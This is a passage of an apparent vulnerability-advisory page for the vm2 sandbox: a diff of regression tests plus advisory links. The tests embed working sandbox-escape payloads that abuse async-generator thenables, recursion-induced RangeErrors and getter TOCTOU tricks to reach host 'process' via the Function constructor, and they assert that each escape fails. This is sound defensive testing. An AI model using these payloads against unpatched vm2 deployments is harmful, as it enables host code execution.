HAS_ASYNC_GEN, + async function () { + this.timeout(60000); + const vm = new VM(); + const result = await vm.run(` + class E extends Error {} + function so(d) { + if (d > 0) so(d-1); + const e = new E(); + e.stack; + throw e; + } + async function* helper() { + yield* { + [Symbol.asyncIterator]: ()=>({ + next: v=>({value: v, done: false}), throw: v=>({value: v, done: false}) + }) + }; + } + async function doCatch(f) { + const i=helper(); + await i.next(); + const v = await i.return({then(r){f();r();}}); + return v.value; + } + (async () => { + let min = 0; + let max = 200000; + while (min < max) { + const mid = (min + max) >> 1; + let e; + try { e = await doCatch(()=>so(mid)); } + catch (err) { return { phase: 'reject', mid }; } + if (e && e.name === 'RangeError' && !(e instanceof RangeError)) { + try { + const proc = e.constructor.constructor('return process')(); + return { ESCAPED: true, mid, version: proc && proc.version }; + } catch (ex) { + return { nearMiss: true, mid, msg: ex && ex.message }; + } + } + if (e instanceof E) min = mid + 1; + else max = mid; + } + return { phase: 'done', min, max }; + })(); + `); + assert.ok(!result.ESCAPED, 'sandbox escape via canonical PoC: ' + JSON.stringify(result)); + // Either: search converged with all RangeErrors bridged ('done'), + // or near-miss attempted but the bridged Function constructor + // returned undefined process. Both are acceptable closures. + }, + ); + + it.cond( + 'thrown value is sanitized: a thrown SuppressedError-like with sub-error is wrapped', + HAS_ASYNC_GEN, + async function () { + this.timeout(10000); + const vm = new VM(); + // We construct an attacker-controlled Error that, if delivered + // raw to sandbox via yield*-return-thenable capture, would expose + // `.constructor.constructor` as the host Function constructor. + // Verify the value reaching sandbox code is bridge-wrapped. + const result = await vm.run(` + async function* helper() { + yield* { + [Symbol.asyncIterator]: ()=>({ + next: v=>({value: v, done: false}), throw: v=>({value: v, done: false}) + }) + }; + } + async function doCatch(f) { + const i=helper(); + await i.next(); + const v = await i.return({then(r){f();r();}}); + return v.value; + } + (async () => { + const probe = {}; + // Sandbox-thrown Error: confirm value flows through and is sanitized. + const e = await doCatch(()=>{ throw new Error('sandbox-throw'); }); + probe.ctorIsSandboxError = e && e.constructor === Error; + probe.instanceofError = e instanceof Error; + probe.message = e && e.message; + // Try the canonical escape vector via Function constructor. + try { + const fn = e.constructor.constructor('return process'); + probe.gotProcess = !!fn(); + } catch (ex) { probe.escapeBlocked = true; probe.escapeMsg = ex && ex.message; } + return probe; + })(); + `); + assert.strictEqual(result.ctorIsSandboxError, true, 'e.constructor must be sandbox Error'); + assert.strictEqual(result.instanceofError, true, 'e must be instanceof sandbox Error'); + assert.strictEqual(result.message, 'sandbox-throw'); + // Either the Function constructor is sandbox-realm and process is undefined, + // or it throws. Either way, we must not have obtained host process. + assert.ok(!result.gotProcess, 'must not obtain host process via thrown value: ' + JSON.stringify(result)); + }, + ); + + it.cond( + 'thrown host-realm error via bridged host call is sanitized through yield* capture', + HAS_ASYNC_GEN, + async function () { + this.timeout(10000); + const vm = new VM(); + const result = await vm.run(` + async function* helper() { + yield* { + [Symbol.asyncIterator]: ()=>({ + next: v=>({value: v, done: false}), throw: v=>({value: v, done: false}) + }) + }; + } + async function doCatch(f) { + const i=helper(); + await i.next(); + const v = await i.return({then(r){f();r();}}); + return v.value; + } + (async () => { + // Buffer.alloc(-1) throws a host RangeError that the bridge's + // apply-trap throw path wraps before propagation. Confirm the + // wrap survives the yield* capture. + const e = await doCatch(()=>{ Buffer.alloc(-1); }); + const probe = { + ctorIsSandboxRangeError: e && e.constructor === RangeError, + instanceofRangeError: e instanceof RangeError, + instanceofError: e instanceof Error, + }; + try { + const fn = e.constructor.constructor('return process'); + probe.gotProcess = !!fn(); + } catch (ex) { probe.escapeBlocked = true; } + return probe; + })(); + `); + assert.strictEqual(result.ctorIsSandboxRangeError, true); + assert.strictEqual(result.instanceofRangeError, true); + assert.ok(!result.gotProcess, 'host process leaked: ' + JSON.stringify(result)); + }, + ); + + it.cond( + 'closure-transport bypass: value hidden in `value: ()=>v` closure is still sanitized', + HAS_ASYNC_GEN, + async function () { + // Bypass of the candidate fix: the wrapper's + // handleException(result.value) sees only the closure when the inner + // iterator returns `{value: ()=>v, done: false}`. The captured-by-V8 + // throw flows into the closure as the parameter `v` of the second + // inner.next() call. Sandbox extracts via wrap.value() — the wrapper + // never inspected what the closure returns. + // + // The defense (sanitizeThenableArg) wraps any thenable passed to + // AsyncGeneratorPrototype.{next,return,throw} so that synchronous + // throws from the user .then are caught and converted to + // reject(handleException(e)) BEFORE V8's PromiseResolveThenableJob + // captures them. By the time V8 forwards the value to inner.next, + // the realm has been normalized. + this.timeout(60000); + const vm = new VM(); + const result = await vm.run(` + async function* helper() { + yield* { + [Symbol.asyncIterator]: () => ({ + next: v => ({ value: () => v, done: false }), throw: v => ({ value: () => v, done: false }) + }) + }; + } + async function doCatch(f) { + const i = helper(); + await i.next(); + const v = await i.return({ then(r) { f(); r(); } }); + return v.value(); + } + (async () => { + // Sandbox-thrown Error: confirm closure-extracted value is sandbox-realm. + const e = await doCatch(() => { throw new Error('closure-bypass'); }); + const probe = { + type: typeof e, + message: e && e.message, + ctorIsSandboxError: e && e.constructor === Error, + instanceofError: e instanceof Error, + }; + try { + const proc = e.constructor.constructor('return process')(); + probe.gotProcess = !!proc; + } catch (ex) { + probe.escapeBlocked = true; + } + return probe; + })(); + `); + assert.strictEqual(result.message, 'closure-bypass'); + assert.strictEqual(result.ctorIsSandboxError, true); + assert.strictEqual(result.instanceofError, true); + assert.ok(!result.gotProcess, 'host process leaked through closure transport: ' + JSON.stringify(result)); + }, + ); + + it.cond('closure-transport bypass: deep-recursion variant cannot escape', HAS_ASYNC_GEN, async function () { + // Full canonical bypass PoC with binary-search over recursion depths. + // Even at the threshold where V8 might produce a host-realm RangeError + // from PromiseResolveThenableJob host bookkeeping, the thenable-arg + // sanitization ensures the captured value is bridged before reaching + // the inner iterator's `next` parameter. + this.timeout(120000); + const vm = new VM(); + const result = await vm.run(` + class E extends Error {} + function so(d) { + if (d > 0) so(d-1); + const e = new E(); + e.stack; + throw e; + } + async function* helper() { + yield* { + [Symbol.asyncIterator]: () => ({ + next: v => ({ value: () => v, done: false }), throw: v => ({ value: () => v, done: false }) + }) + }; + } + async function doCatch(f) { + const i = helper(); + await i.next(); + const v = await i.return({ then(r) { f(); r(); } }); + return v.value(); + } + (async () => { + let min = 0; + let max = 200000; + while (min < max) { + const mid = (min + max) >> 1; + let e; + try { e = await doCatch(() => so(mid)); } + catch (err) { return { phase: 'reject', mid }; } + if (e && e.name === 'RangeError' && !(e instanceof RangeError)) { + try { + const proc = e.constructor.constructor('return process')(); + return { ESCAPED: true, mid, version: proc && proc.version }; + } catch (ex) { return { nearMiss: true, mid, msg: ex && ex.message }; } + } + if (e instanceof E) min = mid + 1; + else max = mid; + } + return { phase: 'done', min, max }; + })(); + `); + assert.ok(!result.ESCAPED, 'sandbox escape via closure-transport bypass: ' + JSON.stringify(result)); + }); + + it.cond( + 'nested-thenable bypass: outer .then resolving with inner thenable cannot smuggle host throw', + HAS_ASYNC_GEN, + async function () { + // Reviewer's 2nd bypass-A: + // `await i.return({ then(r){ r({ then(r){ f(); r(); }}) }})` + // The outer .then synchronously calls `resolve(innerThenable)`. + // V8 detects innerThenable is itself a thenable and schedules + // another PromiseResolveThenableJob, which would call the inner + // .then directly — outside the v2 thenable-arg wrapper. The v3 + // fix wraps the resolve callback so any thenable handed to it is + // re-sanitised before V8 sees it; safeResolve(inner) becomes + // resolve(sanitizeThenableArg(inner)), so V8 only ever invokes + // our safeThen, never the user's inner .then directly. + this.timeout(60000); + const vm = new VM(); + const result = await vm.run(` + let innerThenCalls = 0; + async function* helper() { + yield* { + [Symbol.asyncIterator]: () => ({ + next: v => ({ value: () => v, done: false }), throw: v => ({ value: () => v, done: false }) + }) + }; + } + (async () => { + const i = helper(); + await i.next(); + const wrap = await i.return({ + then(r) { + r({ + then(rr) { + innerThenCalls++; + const e = new Error('nested-bypass'); + e.name = 'PWN'; + throw e; + } + }); + } + }); + const e = wrap.value(); + const probe = { + innerThenCalls, + hasError: e instanceof Error, + msg: e && e.message, + ctorIsSandboxError: e && e.constructor === Error, + }; + try { + const proc = e.constructor.constructor('return process')(); + probe.gotProcess = !!proc; + } catch (ex) { probe.escapeBlocked = true; } + return probe; + })(); + `); + assert.strictEqual(result.innerThenCalls, 1, 'inner .then must be called exactly once via the wrapper'); + assert.strictEqual(result.ctorIsSandboxError, true); + assert.strictEqual(result.msg, 'nested-bypass'); + assert.ok( + !result.gotProcess, + 'host process leaked through nested-thenable transport: ' + JSON.stringify(result), + ); + }, + ); + + it.cond( + 'getter-TOCTOU bypass: .then as a getter is read at most once by the sanitiser', + HAS_ASYNC_GEN, + async function () { + // Reviewer's 2nd bypass-B: + // `obj = { get then() { return calls++===0 ? undefined : fn } }` + // On the v2 fix, sanitizeThenableArg pre-reads obj.then once + // (getter call 1 → undefined → returns value unwrapped); V8 then + // re-reads obj.then (getter call 2 → fn) and calls fn directly, + // outside our wrapper. The v3 fix never pre-reads: it always + // substitutes a wrapper whose .then is a fixed safeThen function. + // V8 only sees safeThen. safeThen reads value.then once for the + // initial type check, plus a second time after the descriptor + // walk to detect TOCTOU getter self-replacement (v6). The + // security invariant is that V8 itself never invokes the user + // .then directly — every call goes through our wrapper or the + // stripped shadow path. + this.timeout(60000); + const vm = new VM(); + const result = await vm.run(` + let calls = 0; + async function* helper() { + yield* { + [Symbol.asyncIterator]: () => ({ + next: v => ({ value: () => v, done: false }), throw: v => ({ value: () => v, done: false }) + }) + }; + } + (async () => { + const i = helper(); + await i.next(); + const obj = { + get then() { + calls++; + if (calls === 1) return undefined; + return function (r) { + const e = new Error('toctou-bypass'); + e.name = 'PWN'; + throw e; + }; + } + }; + let captured; + try { + const wrap = await i.return(obj); + captured = { + phase: 'resolved', + done: wrap && wrap.done, + valueType: typeof (wrap && wrap.value), + valueIsCallable: typeof (wrap && wrap.value) === 'function', + }; + // v7: wrap.value is a shadow (object) when the + // non-function branch resolves, or a closure + // (function) when the function branch threw. Either + // way, sandbox-extracted value must not yield host + // process. + let extracted; + if (typeof wrap.value === 'function') { + try { extracted = wrap.value(); } catch (e) {} + } else { + extracted = wrap.value; + } + captured.extractedType = typeof extracted; + if (extracted && typeof extracted === 'object') { + try { + const proc = extracted.constructor && extracted.constructor.constructor('return process')(); + captured.gotProcess = !!proc; + } catch (ex) { captured.escapeBlocked = true; } + } + } catch (rejected) { + captured = { + phase: 'rejected', + msg: rejected && rejected.message, + ctorIsSandboxError: rejected && rejected.constructor === Error, + }; + try { + const proc = rejected.constructor.constructor('return process')(); + captured.gotProcess = !!proc; + } catch (ex) { captured.escapeBlocked = true; } + } + return { calls, captured }; + })(); + `); + assert.ok( + !(result.captured && result.captured.gotProcess), + 'host process leaked via getter-TOCTOU bypass: ' + JSON.stringify(result), + ); + }, + ); + + it.cond( + 'Array.prototype setter pollution on args build does not intercept user value', + HAS_ASYNC_GEN, + async function () { + // Reviewer's 3rd bypass: + // const args = []; ... args[i] = arguments[i]; + // `[]` inherits Array.prototype. If sandbox installs a setter on + // `Array.prototype['0']`, `args[0] = arguments[0]` walks the + // prototype chain, the setter fires, captures (or rewrites) the + // user value before sanitizeThenableArg ever runs. + // + // The fix builds args as `{ __proto__: null, length, ... }` so + // integer-key writes never walk a user-controlled prototype. + this.timeout(10000); + const vm = new VM(); + const result = await vm.run(` + (async () => { + let intercepted = null; + Object.defineProperty(Array.prototype, '0', { + set(v) { intercepted = v; }, + get() { return undefined; }, + configurable: true, + }); + async function* helper() { + yield* { + [Symbol.asyncIterator]: () => ({ + next: v => ({ value: () => v, done: false }), throw: v => ({ value: () => v, done: false }) + }) + }; + } + const i = helper(); + await i.next(); + await i.return({ then(r) { r(); } }); + return { + setterFired: intercepted !== null, + }; + })(); + `); + assert.strictEqual( + result.setterFired, + false, + 'sandbox-installed Array.prototype setter must not intercept the wrapper args build', + ); + }, + ); + + it.cond( + 'wrapper installation is non-configurable: sandbox cannot delete or replace .next/.return/.throw', + HAS_ASYNC_GEN, + async function () { + // Defense-in-depth (red-team finding): if the wrappers were + // configurable, sandbox could `delete` them or redefine them + // with a sandbox-controlled function. Even without a reference + // to the original native, replacing the wrapper would let + // sandbox interpose its own logic on V8's yield* protocol + // invocations. + this.timeout(5000); + const vm = new VM(); + const result = await vm.run(` + (async () => { + const proto = Object.getPrototypeOf((async function*(){})()); + const agProto = Object.getPrototypeOf(proto); + const probes = {}; + for (const m of ['next', 'return', 'throw']) { + const desc = Object.getOwnPropertyDescriptor(agProto, m); + const originalRef = desc.value; + probes[m] = { configurable: desc.configurable, writable: desc.writable }; + try { delete agProto[m]; } catch (e) {} + try { agProto[m] = function malicious() {}; } catch (e) {} + try { Object.defineProperty(agProto, m, { value: function evil() {} }); } catch (e) {} + // The only thing that matters is whether tampering succeeded. + probes[m].stillOriginal = agProto[m] === originalRef; + } + return probes; + })(); + `); + for (const m of ['next', 'return', 'throw']) { + assert.strictEqual(result[m].configurable, false, m + ' must not be configurable'); + assert.strictEqual(result[m].writable, false, m + ' must not be writable'); + assert.strictEqual(result[m].stillOriginal, true, m + ' must remain the wrapper after tamper attempts'); + } + }, + ); + + it.cond( + 'i.return(non-thenable) loses identity but the value is sandbox-realm and safe', + HAS_ASYNC_GEN, + async function () { + // SECURITY trade-off (v7 — GHSA-248r-7h7q-cr24): the v5/v6 + // optimisation that preserved `wrap.value === input` for + // non-thenable inputs was structurally unsound — every + // detection-based heuristic on the user's `.then` slot is + // bypassable by a counting getter or a Proxy. v7 always + // shadows in the non-function branch, which means + // `wrap.value` is a sandbox-realm `{__proto__: null}` copy of + // the input's own descriptors, not the input itself. + // + // This test pins the new behaviour: identity is NOT preserved, + // but the surfaced value is a safe sandbox object. Sandbox + // code that needs the original reference can keep it on the + // outside of the `i.return()` call. + this.timeout(5000); + const vm = new VM(); + const result = await vm.run(` + (async () => { + async function* helper() { + yield* { + [Symbol.asyncIterator]: () => ({ + next: v => ({ value: v, done: false }), throw: v => ({ value: v, done: false }) + }) + }; + } + const probes = {}; + { + const i = helper(); + await i.next(); + const fn = function add(a, b) { return a + b; }; + fn.tag = 'add-fn'; + const wrap = await i.return(fn); + probes.fn = { + sameRef: wrap.value === fn, + typeOf: typeof wrap.value, + ownTag: wrap.value && wrap.value.tag, + }; + } + { + const i = helper(); + await i.next(); + const obj = { a: 1, b: 2 }; + const wrap = await i.return(obj); + probes.plainObj = { + sameRef: wrap.value === obj, + a: wrap.value && wrap.value.a, + b: wrap.value && wrap.value.b, + }; + } + return probes; + })(); + `); + // v7: identity is intentionally lost — the shadow is a safe + // sandbox-realm copy, not the original. + assert.strictEqual(result.fn.sameRef, false, 'function value is shadowed (no identity)'); + assert.strictEqual(result.fn.ownTag, 'add-fn', 'shadow preserves own data properties'); + assert.strictEqual(result.plainObj.sameRef, false, 'plain object is shadowed'); + assert.strictEqual(result.plainObj.a, 1, 'shadow preserves own data properties (a)'); + assert.strictEqual(result.plainObj.b, 2, 'shadow preserves own data properties (b)'); + }, + ); + + it.cond( + 'TOCTOU getter that counts reads then self-replaces (v6 bypass) cannot smuggle host call', + HAS_ASYNC_GEN, + async function () { + // External review v6 bypass: + // "the getter for then just need to count to two and return + // the same value twice before replacing itself with a data + // property to bypass the thenIsAccessorInChain check." + // + // Bypass mechanics: + // 1. wrapper reads value.then → getter fires (count=1) → returns undefined. + // 2. wrapper re-reads value.then → getter fires (count=2), + // replaces itself with `Object.defineProperty(value, 'then', + // {value: maliciousFn, writable: true, configurable: true})`, + // returns undefined. + // 3. Both reads non-function and equal. + // 4. `thenIsAccessorInChain(value)` reads the descriptor — + // now data, not accessor — returns false. + // 5. Code picks `resolveWith = value`, calls resolve(value). + // 6. V8's PromiseResolve does [[Get]](value, 'then') → reads + // maliciousFn (data property). IsCallable → true. + // 7. V8 schedules a NEW PromiseResolveThenableJob with + // maliciousFn as the .then handler. V8 calls maliciousFn + // directly with V8 internal capability resolvers, OUTSIDE + // our wrapper. + // + // v7 fix: the non-function branch ALWAYS shadows. V8 never + // reads the user's `.then` slot directly — it sees the + // sandbox-realm shadow's (absent) `.then`. + // + // Structural assertion: if the malicious fn is somehow still + // reached, its first arg's `.name` must be 'safeResolveCallback' + // (our wrapper) and never '' (V8's internal resolver). + this.timeout(15000); + const vm = new VM(); + const result = await vm.run(` + const trace = []; + let calls = 0; + const value = {}; + Object.defineProperty(value, 'then', { + configurable: true, + get() { + calls++; + trace.push('getter-' + calls); + if (calls === 2) { + // Self-replace AFTER returning the 2nd undefined. + // Pre-v7 code would do its descriptor walk now, + // see a data property, conclude "no accessor", + // pass value to resolve() — V8 then reads this + // malicious data-property fn and calls it. + Object.defineProperty(value, 'then', { + value: function malicious(r, j) { + trace.push({ + ev: 'malicious-called', + resolveName: r && r.name, + rejectName: j && j.name, + }); + const e = new Error('v6-bypass'); + e.name = 'PWN'; + throw e; + }, + writable: true, + configurable: true, + }); + } + return undefined; + }, + }); + async function* helper() { + yield* { + [Symbol.asyncIterator]: () => ({ + next: v => ({ value: () => v, done: false }), throw: v => ({ value: () => v, done: false }) + }) + }; + } + (async () => { + const i = helper(); + await i.next(); + let out; + try { + const wrap = await i.return(value); + out = { + phase: 'resolved', + done: wrap && wrap.done, + valueType: typeof (wrap && wrap.value), + }; + let extracted = wrap && wrap.value; + if (typeof extracted === 'function') { + try { extracted = extracted(); } catch (e) { extracted = null; } + } + out.extractedType = typeof extracted; + if (extracted && typeof extracted === 'object') { + try { + const proc = extracted.constructor && extracted.constructor.constructor('return process')(); + out.gotProcess = !!proc; + } catch (ex) { out.escapeBlocked = true; } + } + } catch (rejected) { + out = { + phase: 'rejected', + msg: rejected && rejected.message, + }; + } + return { trace, out }; + })(); + `); + // Critical (v7): the malicious function must NEVER be called. + // Pre-v7, V8 invoked it directly in PromiseResolveThenableJob with + // internal capability resolvers (resolver.name === ''). With v7's + // always-shadow on the non-function branch, V8 only sees the + // shadow's absent .then. + const fnCall = result.trace.find(e => e && typeof e === 'object' && e.ev === 'malicious-called'); + assert.strictEqual( + fnCall, + undefined, + 'malicious .then was reached (pre-v7 bypass succeeded): ' + JSON.stringify(result), + ); + assert.ok( + !(result.out && result.out.gotProcess), + 'host process leaked via v6 TOCTOU bypass: ' + JSON.stringify(result), + ); + }, + ); + + // NOTE: Proxy is not exposed in the vm2 sandbox (`Proxy: { value: undefined }` + // in setup-sandbox.js line 370), so a sandbox-driven Proxy bypass of the + // .then descriptor walk is not reachable from sandbox code. The structural + // fix still applies the same argument: detection-based heuristics on + // attacker-controlled .then are unsound, and the only safe answer is to + // substitute a sandbox-realm shadow that V8 reads instead of `value`. + + it.cond( + 'handleException throwing during sanitisation does not surface raw value to sandbox', + HAS_ASYNC_GEN, + async function () { + // Reviewer's robustness concern: every call to handleException + // in the wrapper is wrapped via safeSanitize, which falls back + // to a sandbox-realm VMError if handleException itself throws. + // We can't easily make handleException throw from sandbox code + // (it's quite robust), but we can validate that the safeSanitize + // fallback path is reachable by exercising a SuppressedError + // with a hostile sub-error — at minimum the rejection still + // surfaces as a sandbox-realm value. + this.timeout(10000); + const vm = new VM(); + const result = await vm.run(` + (async () => { + async function* helper() { + yield* { + [Symbol.asyncIterator]: () => ({ + next: v => ({ value: () => v, done: false }), throw: v => ({ value: () => v, done: false }) + }) + }; + } + const i = helper(); + await i.next(); + // Throw a SuppressedError-style nested error from .then. + // safeSanitize must produce a sandbox-realm value + // regardless of any internal hiccups in handleException. + try { + const wrap = await i.return({ + then(r) { + const inner = new Error('inner'); + Object.defineProperty(inner, 'name', { + get() { throw new Error('name-getter-throws'); } + }); + throw inner; + } + }); + const e = wrap.value(); + return { + phase: 'resolved', + isObj: typeof e === 'object', + isInstanceofError: e instanceof Error, + ctorIsSandboxError: e && e.constructor === Error, + }; + } catch (rejected) { + return { + phase: 'rejected', + isInstanceofError: rejected instanceof Error, + ctorIsSandboxError: rejected && rejected.constructor === Error, + }; + } + })(); + `); + // Either path is acceptable as long as the surfaced value is sandbox-realm. + if (result.phase === 'resolved') { + assert.strictEqual(result.ctorIsSandboxError, true, 'resolved-path value must be sandbox Error'); + } else { + assert.strictEqual(result.ctorIsSandboxError, true, 'rejected value must be sandbox Error'); + } + }, + ); + + it.cond( + 'TOCTOU getter self-replacement (v6 PoC): V8 must not invoke a swapped-in function directly', + HAS_ASYNC_GEN, + async function () { + // Reviewer's v6 bypass: a getter on `.then` could fire on the + // wrapper's first read, install a data property holding a + // function as its replacement, and return non-function. + // - Old descriptor walk would see a data property (not an + // accessor) and conclude "safe to pass value directly". + // - V8's PromiseResolve would then [[Get]] value.then and + // find the data property's function value — V8 calls it + // directly, OUTSIDE our wrapper. + // + // Defense: re-read value.then after the walk; if it is now a + // callable, route through the function-branch with the new + // captured ref. If it changed to something non-function but + // different from the first read, fall back to the stripped + // shadow (V8 cannot observe a different value than us). + // + // Structural assertion: when the malicious function IS called + // (which it should be, via our wrapper's apply), its first arg + // is `safeResolveCallback` and second is `safeRejectCallback` + // — both sandbox-wrapped sanitisers. If V8 had called it + // directly, args would be V8's internal capability resolvers + // with different names. + this.timeout(10000); + const vm = new VM(); + const result = await vm.run(` + (async () => { + const trace = []; + const value = {}; + Object.defineProperty(value, 'then', { + configurable: true, + get() { + trace.push('getter-fired'); + Object.defineProperty(value, 'then', { + value: function malicious(r, j) { + trace.push({ + ev: 'malicious-fn-called', + resolveName: r && r.name, + rejectName: j && j.name, + }); + const e = new Error('toctou-swap-bypass'); + e.name = 'PWN'; + throw e; + }, + writable: true, + configurable: true, + }); + return undefined; + }, + }); + async function* helper() { + yield* { + [Symbol.asyncIterator]: () => ({ + next: v => ({ value: () => v, done: false }), throw: v => ({ value: () => v, done: false }) + }) + }; + } + const i = helper(); + await i.next(); + let out; + try { + const wrap = await i.return(value); + out = { + phase: 'resolved', + done: wrap && wrap.done, + valueType: typeof (wrap && wrap.value), + }; + // v7: with always-shadow on non-function branch, the + // await fulfills with the shadow → wrap.value === shadow + // (object), wrap.done === true. Rejection path would + // produce wrap.value === closure (function). + let extracted = wrap && wrap.value; + if (typeof extracted === 'function') { + try { extracted = extracted(); } catch (e) { extracted = null; } + } + out.extractedType = typeof extracted; + if (extracted && typeof extracted === 'object') { + try { + const proc = extracted.constructor && extracted.constructor.constructor('return process')(); + out.gotProcess = !!proc; + } catch (ex) { out.escapeBlocked = true; } + } + } catch (rejected) { + out = { + phase: 'rejected', + msg: rejected && rejected.message, + ctorIsSandboxError: rejected && rejected.constructor === Error, + }; + try { + const proc = rejected.constructor.constructor('return process')(); + out.gotProcess = !!proc; + } catch (ex) { out.escapeBlocked = true; } + } + return { trace, out }; + })(); + `); + // Critical (v7): the malicious function must NEVER have been + // called. Pre-v7, V8 invoked it directly with internal capability + // resolvers (.name === ''). With always-shadow, V8 only sees the + // shadow's absent .then and never reads the malicious function + // from `value`. + const fnCall = result.trace.find(e => e && typeof e === 'object' && e.ev === 'malicious-fn-called'); + assert.strictEqual( + fnCall, + undefined, + 'malicious .then must NEVER be called (pre-v7 it was invoked by V8): ' + JSON.stringify(result), + ); + assert.ok(!(result.out && result.out.gotProcess), 'host process must not leak via TOCTOU swap'); + }, + ); + + it.cond('.next/.return/.throw on async generator instances all sanitize results', HAS_ASYNC_GEN, async function () { + this.timeout(10000); + const vm = new VM(); + const result = await vm.run(` + async function* gen() { + yield 1; + yield 2; + } + (async () => { + const g = gen(); + const a = await g.next(); + const b = await g.next(); + const c = await g.return('done'); + return [a, b, c]; + })(); + `); + // Regression guard: the sanitization wrapper must not break normal use. + assert.deepStrictEqual(result[0], { value: 1, done: false }); + assert.deepStrictEqual(result[1], { value: 2, done: false }); + assert.deepStrictEqual(result[2], { value: 'done', done: true }); + }); +});
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
5- github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24nvdExploitVendor AdvisoryWEB
- github.com/advisories/GHSA-248r-7h7q-cr24ghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-45411ghsaADVISORY
- github.com/patriksimek/vm2/commit/093494c0c3ef2390d2e56909f9d56e290e6f18b0ghsaWEB
- github.com/patriksimek/vm2/releases/tag/v3.11.3ghsaWEB
News mentions
0No linked articles in our index yet.